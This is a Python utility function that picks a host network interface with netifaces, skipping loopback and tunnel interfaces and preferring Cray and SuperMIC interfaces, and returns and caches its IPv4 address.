def hostip(req=None, black_list=None, pref_list=None, logger=None): """ Look up the ip number for a given requested interface name. If interface is not given, do some magic. """ # we only determine hostip once global _hostip if _hostip: return _hostip # List of interfaces that we probably dont want to bind to by default if not black_list: black_list = ['sit0', 'lo'] # Known intefaces in preferred order if not pref_list: pref_list = [ 'ipogif0', # Cray's 'br0' # SuperMIC ] gateways = netifaces.gateways() if not 'default' in gateways or \ not gateways['default']: return '127.0.0.1' # we always add the currently used interface to the preferred ones default = gateways['default'][netifaces.AF_INET][1] if default not in pref_list: pref_list.append(default) # Get a list of all network interfaces all = netifaces.interfaces() if logger: logger.debug("Network interfaces detected: %s", all) pref = None # If we got a request, see if it is in the list that we detected if req and req in all: # Requested is available, set it pref = req else: # No requested or request not found, create preference list potentials = [iface for iface in all if iface not in black_list] # If we didn't select an interface already if not pref: # Go through the sorted list and see if it is available for iface in pref_list: if iface in all: # Found something, get out of here pref = iface break # If we still didn't find something, grab the first one from the # potentials if it has entries if not pref and potentials: pref = potentials[0] # If there were no potentials, see if we can find one in the blacklist if not pref: for iface in black_list: if iface in all: pref = iface if logger: logger.debug("Network interfaces selected: %s", pref) # Use IPv4, because, we can ... af = netifaces.AF_INET ip = netifaces.ifaddresses(pref)[af][0]['addr'] # we fall back to localhost if not ip: ip = '127.0.0.1' if logger: logger.debug("Network ip address detected: %s", ip) # cache for next invocation _hostip = ip return ip